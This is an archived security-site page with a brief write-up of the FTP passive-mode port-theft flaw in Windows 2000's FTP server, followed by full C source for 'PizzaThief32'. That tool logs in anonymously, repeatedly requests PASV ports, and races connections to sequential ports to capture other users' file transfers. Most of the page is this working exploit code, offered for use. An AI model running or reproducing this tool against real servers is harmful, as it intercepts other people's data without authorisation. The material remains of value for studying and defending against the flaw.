TUCoPS :: Windows :: pizzathf.c

PizzaThief Exploit

Many people are aware of an old vulnerability with FTP servers.  The
problem is related to not authenticating the source address of PASV port
connections.  To add insult to injury, many FTP servers also open these
ports in sequential order.  Now, I would expect that many of the older
installations out on the 'Net would be vulnerable.  However, I would not
expect the latest Beta release of Microsoft Windows 2000 server to have
this vulnerability.  Come on people!

After discovering this problem on my W2k installation, I tested it against
ftp.microsoft.com.  No surprises.. their public ftp server is vulnerable
also.  Now, using FTP w/o SSH in the first place is a bad idea.  However, I
still think that this vulnerability is easy to fix and of all things it
shouldn't present in win2k.  My wu-ftp install doesn't have this problem.

I dug around around on the net to see if anyone had written a script for
this.  I found "pizzathief" for solaris.  I re-wrote the program for NT and
added some features.  The source code for "PizzaThief32" is posted below.

<--- snip

/*
 * PizzaThief32 Exploit written by Greg Hoglund <hoglund@ieway.com>
 *
 * Special thanks to Jeffrey R. Gerber for thinking of such a cool name
 * and to Bret McDanel for writing pizzathief for solaris!
 *
 * A common problem with FTP servers around the world results from
 * "passive mode".  A client will issue the PASV command and the
 * server will in turn open a local port and wait for the client to
 * connect.  Once the client connects, the server will transmit the
 * file or directory listing or whatever big chunk of data the client
 * wanted.  The crux of the problem is that many FTP servers do not
 * check the source address of the connecting client.  Hence, if the
 * men in black manage to connect to that port before you do, you lose
 * your file to someone else!  And if this problem wasn't old as mold
 * already, Microsoft's Windows 2000 FTP server (version 5.0 I think)
 * has the problem.  In fact, so does Microsoft's *public* FTP site!
 * And the icing on the cake is many FTP servers open PASV ports in
 * sequential order making the guesswork easy.
 *
 * This 'sploit runs under Windows NT and uses nonblocking i/o to snag
 * as much data as possible.  The code is cleaned up a bit, and the
 * tool will now snag connections in a cycle.
 */

#include <windows.h>
#include <stdio.h>
#include <winsock.h>

#define NUMSOCK 64
#define FLAG_VERBOSE	(0x1 << 1)
#define FLAG_STDOUT		(0x1 << 2)

int connserver(char *host,int port);
int netgets(char *buff, int len, int sd);
void dumpdata(int theSocket, struct in_addr ip, unsigned short port);
int pizzaman32(struct in_addr ip, unsigned short port);

unsigned long gFlags = 0;
unsigned long gTimeout = 5000;



main(int argc, char **argv)
{
	int sd, count;
	struct in_addr ip;
	char buff[1024],*ptr1;
	unsigned short int port;
	WSADATA wsaData;

	if(0 != WSAStartup(MAKEWORD(2,0), &wsaData))
	{
		WSACleanup();
		fprintf(stderr, "Could not load winsock DLL\n");
		exit(0);
	}

	if(argc < 2)
	{
		fprintf(stderr, "Pizzathief32 for NT!\nFrom the Law Offices of Hoglund, " \
			            "McDanel, & Gerber\nUsage: %s [-v -tTimeout -s] " \
						"<ftpserver>\n options: -v Verbose\n          " \
						"-t timeout in ms\n          -s dump to stdout\n",argv[0]);
		exit(0);
	}

	count = 0;
	while(argv[++count][0] == '-'){
		switch(argv[count][1]){
		case 'v':
			gFlags |= FLAG_VERBOSE;
			break;
		case 't':
			if(isdigit(argv[count][2]))
				gTimeout = atoi(&argv[count][2]);
			break;
		case 's':
			gFlags |= FLAG_STDOUT;
			break;
		default:
			break;
		}
	}

	if( (count < argc)
		&&
		((sd=connserver(argv[count],21)) < 0) )
	{
		fprintf(stderr, "could not connect to server");
		exit(0);
	}

	while(1)
	{
		if(netgets(buff,sizeof(buff),sd)==0)
		{
			fprintf(stderr, "server closed control connection\n");
			closesocket(sd);
			exit(0);
		}

		if(!strncmp(buff,"220 ",4))
		{
			if(FLAG_VERBOSE & gFlags)
				fprintf(stdout, "requesting username\n");
			sprintf(buff,"user ftp\n");
			send(sd,buff,strlen(buff),0);
		}

		if(!strncmp(buff,"331 ",4))
		{
			if(FLAG_VERBOSE & gFlags)
				fprintf(stdout, "requesting password\n");
			sprintf(buff,"pass pizzaman@illuminati.gov\n");
			send(sd,buff,strlen(buff),0);
		}

		if(!strncmp(buff,"230 ",4))
		{
			if(FLAG_VERBOSE & gFlags)
				fprintf(stdout, "we are logged in now\n");
			sprintf(buff,"pasv\n");
			send(sd,buff,strlen(buff),0);
		}

		if(!strncmp(buff,"530 ",4))
		{
			/* invalid password */
			sprintf(buff,"quit\n");
			send(sd,buff,strlen(buff),0);
			closesocket(sd);
			fprintf(stderr, "User ftp wasnt allowed\n");
			exit(0);
		}

		if(!strncmp(buff,"227 ",4))
		{
		  char seps[]   = "()";
		  char *token;

		  /* PASV response */
		  if(FLAG_VERBOSE & gFlags)
			  fprintf(stdout, buff);

		  /* first get the ip/port into the buffer */
		  token = strtok(buff,seps);
		  token = strtok((char *)NULL,")");

		  /* now break off the IP part */
		  ptr1=(char *)&ip;
		  ptr1[0]=atoi(strtok(token,","));
		  ptr1[1]=atoi(strtok((char *)NULL,","));
		  ptr1[2]=atoi(strtok((char *)NULL,","));
		  ptr1[3]=atoi(strtok((char *)NULL,","));

		  /* now get the port number */
		  ptr1=(char *)&port;
		  ptr1[0]=atoi(strtok((char *)NULL,","));
		  ptr1[1]=atoi(strtok((char *)NULL,","));

		  sprintf(buff,"pasv\n");  // recirculate pasv connection
		  send(sd,buff,strlen(buff),0);
		  pizzaman32(ip,port);
		}
	}
	return(0);
}

int connserver(char *host,int port)
{
	int sd,addr;
	struct hostent *he;
	struct sockaddr_in sa;

	/* try to resolve the host */
	if((addr=inet_addr(host))!= -1)
	{
		/* dotted decimal */
		memcpy(&sa.sin_addr,(char *)&addr,sizeof(addr));
	}
	else
	{
		if((he=gethostbyname(host))==NULL)
		{
			fprintf(stderr, "Unable to resolve %s\n", host);
			return(-1);
		}
		memcpy(&sa.sin_addr,he->h_addr,he->h_length);
	}

	sa.sin_port=htons(port);
	sa.sin_family=AF_INET;

	if((sd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
	{
		perror("socket");
		return(-1);
	}

	if(connect(sd,(struct sockaddr *)&sa,sizeof(sa))<0)
	{
		perror("connect");
		return(-1);
	}
	return(sd);
}

int netgets(char *buff, int len, int sd)
{
	int i;

	memset(buff,0,len);
	for(i=0;i<len;i++)
	{
		if(recv(sd,&buff[i],1,0)==0) return(i);
		if(buff[i]=='\n') return(i);
	}
	return(i);
}

int pizzaman32(struct in_addr ip, unsigned short port)
{
	struct sockaddr_in sa;
	int sdarray[NUMSOCK];
	fd_set aConnectSet;
	unsigned long aFlag = 1;
	
	FD_ZERO(&aConnectSet);

	memcpy(&sa.sin_addr,(char *)&ip,sizeof(ip));
	sa.sin_family=AF_INET;

	if(FLAG_VERBOSE & gFlags)
		  fprintf(stdout, "trying ports %d thru %d\n", ntohs(port) + 1,
ntohs(port) + NUMSOCK);

	for(int i=0; i<NUMSOCK; i++)
	{
	  int host_port = ntohs(port) + i + 1;
	  if((sdarray[i] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)
	  {
		perror("socket");
		return(-1);
	  }
	
	  ioctlsocket(sdarray[i], FIONBIO, &aFlag);
	
	  sa.sin_port=htons(host_port);
	  FD_SET(sdarray[i], &aConnectSet);
	
	  if(connect(sdarray[i],(struct sockaddr *)&sa,sizeof(sa)) == 0)
	  {	
		//immediate connection
		dumpdata(sdarray[i], ip, host_port);
	  }
	}
	Sleep(gTimeout);
	
	TIMEVAL t = { 0, 0 }; //polling
	if(-1 != select( 0, NULL, &aConnectSet, NULL, &t))
	{
		for(i=0; i<NUMSOCK; i++)
		{
			int host_port = ntohs(port) + i + 1;
			if(FD_ISSET( sdarray[i], &aConnectSet ))
				dumpdata(sdarray[i], ip, host_port);
			
			closesocket(sdarray[i]);
		}
	}
	return(0);
}

void dumpdata(int theSocket, struct in_addr ip, unsigned short port)
{
	char buff[1024];
	int char_recv = 0;
	FILE *out_file = NULL;
	char aFilename[32];
	unsigned long aFlag = 1;

	memset(aFilename, NULL, sizeof(aFilename));
	_snprintf(aFilename, sizeof(aFilename), "%s.%d.dat",inet_ntoa(ip), port);

	// read all data
	while( (char_recv = recv(theSocket, buff, sizeof(buff)-1, 0) ) > 0)
	{
		if(char_recv > 0)
		{
			if(aFlag)
			{
				aFlag = 0;
				ioctlsocket(theSocket, FIONBIO, &aFlag); //block on this transfer
			}
			if(FLAG_VERBOSE & gFlags)
				fprintf(stdout, "*** Got data for %s\n", aFilename);

			if(FLAG_STDOUT & gFlags)
			{
				buff[char_recv] = NULL;
				fprintf(stdout, "%s", buff);
			}
			else
			{
				if(NULL == out_file)
				{	
					out_file = fopen(aFilename, "wb");
				}
				if(out_file)
				{
					fwrite(buff, char_recv, 1, out_file);
				}
			}
		}
	}
	if((FLAG_VERBOSE & gFlags) && (0 == char_recv))
		fprintf(stdout, "server closed connection\n");
	if(out_file)
		fclose(out_file);
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH